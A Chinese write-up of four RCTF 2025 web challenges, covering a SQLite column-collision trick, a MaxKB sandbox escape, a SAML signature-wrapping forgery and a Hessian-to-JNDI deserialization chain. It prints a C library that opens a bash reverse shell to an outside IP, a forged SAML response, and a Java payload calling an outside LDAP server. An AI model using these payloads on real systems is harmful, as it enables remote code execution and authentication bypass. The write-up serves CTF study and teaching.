【Web】RCTF 2025 wp(随便看看

随便看看

目录

photographer

RootKB

Auth

maybe_easy


photographer

看到要求Auth::type()小于0才能拿到flag

而$user['type']是从findById里取出来的

findById是个左联查询,返回的不只是user的信息,还有photo的信息

题目用的是SQLITE3_ASSOC模式,也就是返回以列名索引的数组

这里有个前置知识

而user和photo均有type字段

photo的type字段是从mime-type里取的

先随便注册个用户

访问/compose路由上传背景图片

Content-Type改为-1

设置背景图片

再访问superadmin.php拿到flag

RootKB

题目是最新版的

https://github.com/1Panel-dev/MaxKB/tree/v2

创建工具处可以在线运行python代码

但有些限制

2.3.1版本tool_code.py多了个LD_PRELOAD

可以尝试去覆盖/opt/maxkb-app/sandbox/sandbox.so

只要 LD_PRELOAD 设置了该 .so,init() 就会在程序启动时自动调用。

#include <stdlib.h> #include <string.h> #include <unistd.h> void payload() { unsetenv("LD_PRELOAD"); system("bash -c \"bash -i >& /dev/tcp/8.138.38.81/1337 0>&1\""); } __attribute__((constructor)) void init() { if (getenv("LD_PRELOAD") != NULL) { payload(); } }
gcc -shared -fPIC -o Z3.so Z3.c

然后覆写

def payload(): import base64 import os base64data="xxxx" data = base64.b64decode(base64data) with open("/opt/maxkb-app/sandbox/sandbox.so", "wb") as f: f.write(data) return 1

再随便运行个代码

def payload(): print(1)

成功反弹shell

Auth

SSO(Single Sign-On,单点登录)是一种身份验证机制,允许用户使用一组凭据(如用户名和密码)登录一次后,即可访问多个相互信任的应用系统或服务,而无需在每个系统中重复登录。

当用户首次登录时,由一个统一的认证服务器(称为身份提供者,Identity Provider,简称 IdP)验证用户身份,并生成一个安全令牌(如 SAML 断言、OAuth 2.0 Token 或 OpenID Connect ID Token)。之后,用户访问其他受信任的应用(称为服务提供者,Service Provider,SP)时,这些应用会通过该令牌确认用户身份,从而免去再次输入账号密码的过程。

用的是SAML认证

先来看怎么拿flag

sp部分

当session中的email字段为[email protected]才会获得flag

该字段从SAML里解析得来

再来看idp部分

可以用js的parseInt特性绕过对type为0的限制

先注册

正常是只能注册一个regular user,普通用户

将type设为随便一个字符串

成功绕过,拿到一个fullaccess的用户

访问flag路由后返回了samlForm 

存在email字段

接收方是/saml/acs

接下来修改post的SAMLResponse

<?xml version="1.0" encoding="UTF-8"?><samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" Version="2.0" IssueInstant="2025-11-20T11:13:40.594Z" Destination="http://192.168.233.1:26000/saml/acs"><saml:Issuer>http://192.168.233.1</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" Version="2.0" IssueInstant="2025-11-20T11:13:40.594Z"><saml:Issuer>http://192.168.233.1</saml:Issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><Reference URI="#_934f82968d8e7a26eda0272da9f92ade6175dfc5cd"><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>PPAY1fr+00rDryalemULp6kfp9hzzNUH47Q+w+zjueE=</DigestValue></Reference></SignedInfo><SignatureValue>CZBCZNRGdqwwNTruJ4wRd6J9zf1gRuXaHdR6AKPqxxiIjpGvg1Zc5qaPA3xA1fZYSXAgoL2pAplgTmVJDQzAPT9zbksOUPfWy74QiFbGFegLF0RP/AUrlUl1QamJ084yGxht2a2TAvWA71FTn2xqQ7kORtA9BjXbwJblg9PxP2AJzRRRFx121NGu7mGEiCjVd4qF/QgMSlQzy8sdNE1MhYFAhKq+qAbFQuf1c7xw3/dbVFY39x8VD8LiXCe0rr5s46+cwxXyMVbfhZLqYV3aa+m/hXtUMe0tGMyNdaRZmdeQp4020OBTzgCkXvky30cdS1z4caC+lXoL4IXhtM1+4w==</SignatureValue></Signature><saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">[email protected]</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2025-11-20T11:18:40.594Z" Recipient="http://192.168.233.1:26000/saml/acs"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2025-11-20T11:13:40.594Z" NotOnOrAfter="2025-11-20T11:18:40.594Z"><saml:AudienceRestriction><saml:Audience>http://192.168.233.1:26000/</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AuthnStatement AuthnInstant="2025-11-20T11:13:40.594Z" SessionIndex="_9e36eb0434011848bc9c34ae86d090eac238fe1c1a"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement><saml:AttributeStatement><saml:Attribute Name="uid" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>2</saml:AttributeValue></saml:Attribute><saml:Attribute Name="username" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>Z3r4y</saml:AttributeValue></saml:Attribute><saml:Attribute Name="email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>[email protected]</saml:AttributeValue></saml:Attribute><saml:Attribute Name="displayName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>123</saml:AttributeValue></saml:Attribute><saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute><saml:Attribute Name="department" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>123</saml:AttributeValue></saml:Attribute></saml:AttributeStatement></saml:Assertion></samlp:Response>

初始为

<samlp:Response>

  <saml:Issuer>...</saml:Issuer>

  <samlp:Status>...</samlp:Status>

  <saml:Assertion> <!-- 原始(带签名) -->

    ...<Signature>...</Signature>...

  </saml:Assertion>

</samlp:Response>

修改后应为

<samlp:Response>

  <saml:Assertion> <!-- 【新插入:伪造、无签名、[email protected]】 -->

    ...(无 Signature)...

  </saml:Assertion>

  <saml:Issuer>...</saml:Issuer>

  <samlp:Status>...</samlp:Status>

  <saml:Assertion> <!-- 原始(保留,仍带有效签名) -->

    ...<Signature>...</Signature>...

  </saml:Assertion>

</samlp:Response>

改了之后发个包就行

import requests # 目标 ACS 地址 acs_url = "http://192.168.233.1:26000/saml/acs" # SAMLResponse 值(Base64 编码的 XML) saml_response = "xxx" # 构造表单数据 data = { "SAMLResponse": saml_response } # 发送 POST 请求 try: response = requests.post(acs_url, data=data) print(f"[+] 状态码: {response.status_code}") print(f"[+] 响应头: {response.headers}") print(f"[+] 响应体预览:\n{response.text[:500]}...") # 打印前500字符 except requests.exceptions.RequestException as e: print(f"[-] 请求失败: {e}")

maybe_easy

一个白名单Hessian反序列化,感觉一眼最后要打JNDI的

参考这个文章

【Web】浅聊Hessian反序列化之打Spring AOP——JNDI

最终应该是调org.springframework.jndi.support.SimpleJndiBeanFactory.lookup()

再往下看

题目自定义了一个Maybe类,重写了compareTo方法

调用handler的invoke方法

之前写过两篇文章

【Web】浅聊Java反序列化之玩转Hessian反序列化的前置知识

【Web】浅聊XStream反序列化之SortedSet&TreeMap利用链

Hessian作为入口其实触发的就是map.put,map.put会触发TreeMap.compareTo,因为白名单的限制,不能用上面文章里的java.beans.EventHandler

找其他白名单里的handler利用

找到ObjectFactoryDelegatingInvocationHandler

参考文章:

【Web】浅聊Java反序列化之Spring1链——三层动态代理

 public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { String methodName = method.getName(); if (methodName.equals("equals")) { return proxy == args[0]; } else if (methodName.equals("hashCode")) { return System.identityHashCode(proxy); } else if (methodName.equals("toString")) { return this.objectFactory.toString(); } else { try { return method.invoke(this.objectFactory.getObject(), args); } catch (InvocationTargetException var6) { throw var6.getTargetException(); } } } }

走到objectFactory.getObject()

白名单里全局搜一下getObject()

搜到ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory.getObject()

调用getBean

再回过头来看

org.springframework.jndi.support.SimpleJndiBeanFactory.lookup()可以被其getBean方法触发

成功走通链子

最终payload:

package com.rctf.server.exp; import com.rctf.server.tool.HessianFactory; import com.rctf.server.tool.Maybe; import org.springframework.jndi.support.SimpleJndiBeanFactory; import org.springframework.beans.factory.BeanFactory; import org.springframework.beans.factory.ObjectFactory; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.util.TreeMap; public class exp { public static void main(String[] args) throws Exception { String jndiUrl = "ldap://8.138.38.81:1339/suibian"; // 创建 SimpleJndiBeanFactory 并设置 JNDI URL SimpleJndiBeanFactory beanFactory = new SimpleJndiBeanFactory(); beanFactory.setShareableResources(jndiUrl); // 构造 TargetBeanObjectFactory Class<?> tboFactoryClass = Class.forName("org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory"); Constructor<?> tboFactoryConstructor = tboFactoryClass.getDeclaredConstructor(BeanFactory.class, String.class); tboFactoryConstructor.setAccessible(true); ObjectFactory<?> objectFactory = (ObjectFactory<?>) tboFactoryConstructor.newInstance(beanFactory, jndiUrl); // 构造 ObjectFactoryDelegatingInvocationHandler Class<?> ofdihClass = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); Constructor<?> ofdihConstructor = ofdihClass.getDeclaredConstructor(ObjectFactory.class); ofdihConstructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) ofdihConstructor.newInstance(objectFactory); Maybe maybe = new Maybe(handler); TreeMap treeMap = makeTreeMap(maybe, maybe); String serialize = HessianFactory.serialize(treeMap); System.out.println(serialize); HessianFactory.deserialize(serialize); } public static TreeMap makeTreeMap(Object v1, Object v2) throws Exception { TreeMap<Object,Object> m = new TreeMap<>(); setFieldValue(m, "size", 2); setFieldValue(m, "modCount", 2); Class<?> nodeC = Class.forName("java.util.TreeMap$Entry"); Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object node = nodeCons.newInstance(v1, new Object[0], null); Object right = nodeCons.newInstance(v2, new Object[0], node); setFieldValue(node, "right", right); setFieldValue(m, "root", node); return m; } public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName ) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if ( field != null ) field.setAccessible(true); else if ( clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); return field; } catch ( NoSuchFieldException e ) { if ( !clazz.getSuperclass().equals(Object.class) ) { return getField(clazz.getSuperclass(), fieldName); } throw e; } } }

Read more

Agent模式与框架——Claude Agent Teams 架构解读

1. 主要解决了什么问题? 文章主要解决的是 多智能体(Multi-Agent)协作的工程化落地问题,而非简单的"并行提速"。 具体来说,它解决了以下痛点: * 分工边界不清:多个AI实例同时工作时,容易出现任务重叠或冲突 * 上下文隔离:每个Agent拥有独立上下文,信息无法自动共享,需要显式传递 * 协作机制缺失:单纯启动多个Claude实例不等于"团队协作",需要明确的消息系统、任务列表和验收标准 * 集成与验证困难:多个Agent的产出如何合并成一个可用的整体 * 成本与风险控制:并行带来的Token消耗爆炸、错误扩散等问题 核心洞察:真正的门槛不是"能不能并行",而是"会不会协作"——多Agent协作需要被显式设计,而不是"开了就能用"。 2. 提出了什么解决方案? 文章提出了 “默认串行,显式协作”

By Ne0inhk
理解 Stage 模型 —— HarmonyOS 应用架构新标准

理解 Stage 模型 —— HarmonyOS 应用架构新标准

个人主页:ujainu 文章目录 * 引言:为什么必须掌握 Stage 模型? * 一、Stage 模型 vs FA 模型:架构演进之路 * 1. FA 模型(已废弃) * 2. Stage 模型(现代标准) * 二、Stage 模型三大核心概念 * 1. UIAbility:应用的能力入口 * 2. WindowStage:窗口管理中枢 * 3. Context:上下文获取桥梁 * 三、项目结构文件详解(Stage 模型专属) * 1. `main_pages.json`:页面路由清单 * 2. `module.json5`:模块级配置(核心!) * 3. `build-profile.

By Ne0inhk
Spring Boot 数据仓库与ETL工具集成

Spring Boot 数据仓库与ETL工具集成

Spring Boot 数据仓库与ETL工具集成 26.1 学习目标与重点提示 学习目标:掌握Spring Boot数据仓库与ETL工具集成的核心概念与使用方法,包括数据仓库的定义与特点、ETL工具的定义与特点、Spring Boot与数据仓库的集成、Spring Boot与ETL工具的集成、Spring Boot的实际应用场景,学会在实际开发中处理数据仓库与ETL工具集成问题。 重点:数据仓库的定义与特点、ETL工具的定义与特点、Spring Boot与数据仓库的集成、Spring Boot与ETL工具的集成、Spring Boot的实际应用场景。 26.2 数据仓库与ETL工具概述 数据仓库与ETL工具是Java开发中的重要组件。 26.2.1 数据仓库的定义 定义:数据仓库是一种用于存储和管理大量结构化数据的数据库系统,用于支持企业级数据分析和决策。 作用: * 提供统一的数据存储。 * 支持复杂的数据分析。 * 提高决策效率。 常见的数据仓库: * Apache Hive:Apache Hive是一种基于Hadoop的数据仓库工具。 * Apache

By Ne0inhk
Spring Boot 部署优化:打包体积缩小 80% 的秘诀

Spring Boot 部署优化:打包体积缩小 80% 的秘诀

✨道路是曲折的,前途是光明的! 📝 专注C/C++、Linux编程与人工智能领域,分享学习笔记! 🌟 感谢各位小伙伴的长期陪伴与支持,欢迎文末添加好友一起交流! 在微服务架构盛行的今天,Spring Boot 应用的打包体积直接影响着部署效率和资源成本。本文将分享如何通过一系列优化手段,将一个典型 Spring Boot 应用的打包体积从 150MB 缩减至 30MB,缩减幅度达 80%。 目录 * 问题背景 * 体积分析 * 优化策略 * 实战演示 * 效果对比 * 最佳实践 问题背景 典型场景 假设我们有一个标准的 Spring Boot Web 应用,包含以下依赖: # 项目依赖概览dependencies:- spring-boot-starter-web - spring-boot-starter-data-jpa - spring-boot-starter-security - spring-boot-starter-validation - mysql-connector-java - lombok

By Ne0inhk